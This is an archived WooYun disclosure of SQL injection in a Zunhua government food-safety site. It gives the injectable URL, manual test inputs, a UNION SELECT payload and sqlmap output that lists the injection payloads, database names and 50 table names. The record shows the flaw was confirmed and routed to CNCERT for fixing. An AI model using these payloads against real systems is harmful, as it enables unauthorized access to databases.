乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2014-08-07: 细节已通知厂商并且等待厂商处理中 2014-08-12: 厂商已经确认,细节仅向厂商公开 2014-08-22: 细节向核心白帽子及相关领域专家公开 2014-09-01: 细节向普通白帽子公开 2014-09-11: 细节向实习白帽子公开 2014-09-21: 细节向公众公开
http://shipin.zhsfda.gov.cn/遵化食品安全监管平台
注入点http://shipin.zhsfda.gov.cn/index.php/Admin/Tongzhi/chakan/tongzhiid/40
输入'报错
输入 and 1=1返回正常
猜字段
6个字段
http://shipin.zhsfda.gov.cn/index.php/Admin/Tongzhi/chakan/tongzhiid/-40%20union%20select%201,version(),3,user(),5,6
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: URIParameter: #1* Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: http://shipin.zhsfda.gov.cn:80/index.php/Admin/Tongzhi/chakan/tongzhiid/40 AND 7773=7773 Type: UNION query Title: MySQL UNION query (NULL) - 6 columns Payload: http://shipin.zhsfda.gov.cn:80/index.php/Admin/Tongzhi/chakan/tongzhiid/-4241 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7163627471,0x6c424e74447a484b4548,0x716b746c71),NULL,NULL# Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: http://shipin.zhsfda.gov.cn:80/index.php/Admin/Tongzhi/chakan/tongzhiid/40 AND SLEEP(5)---
available databases [2]:[*] information_schema[*] zhyj
Database: zhyj[50 tables]+---------------------+| yj_baocuntiaojian || yj_baozhiqi || yj_baozhiqixian || yj_bumen || yj_canshu || yj_choujian || yj_chulizhuangtai || yj_danwei || yj_danwei2 || yj_feiqiwu || yj_feiqiwuuser || yj_fenji || yj_gongshi || yj_gongshi2 || yj_jiandu || yj_jianduyijianshu || yj_jiankang || yj_jubao || yj_juese || yj_leixing || yj_lhfenji || yj_lhfenjid || yj_lianghuafenji || yj_nlianghuafenji || yj_qita || yj_qitaxinxi || yj_qiyeyonghu || yj_rizhi || yj_sgonggao || yj_shipintaizhang || yj_shougonggao || yj_shoujiang || yj_shouyexiang || yj_tianjiaji || yj_tixing || yj_tongzhi || yj_user || yj_weifa || yj_wenti || yj_xianchangjiancha || yj_xiangzhen || yj_xiaodu || yj_xiaodufangfa || yj_xiaodushijian || yj_xiaoduwendu || yj_xiaoduzhonglei || yj_xingzheng || yj_yanshouqingkuang || yj_yuetan || yj_zerenrenyuetan |+---------------------+
不跑表内容了
危害等级:中
漏洞Rank:10
确认时间:2014-08-12 09:14
CNVD确认并复现所述漏洞情况,已经转由CNCERT下发给河北分中心,由其后续协调网站管理单位处置。
暂无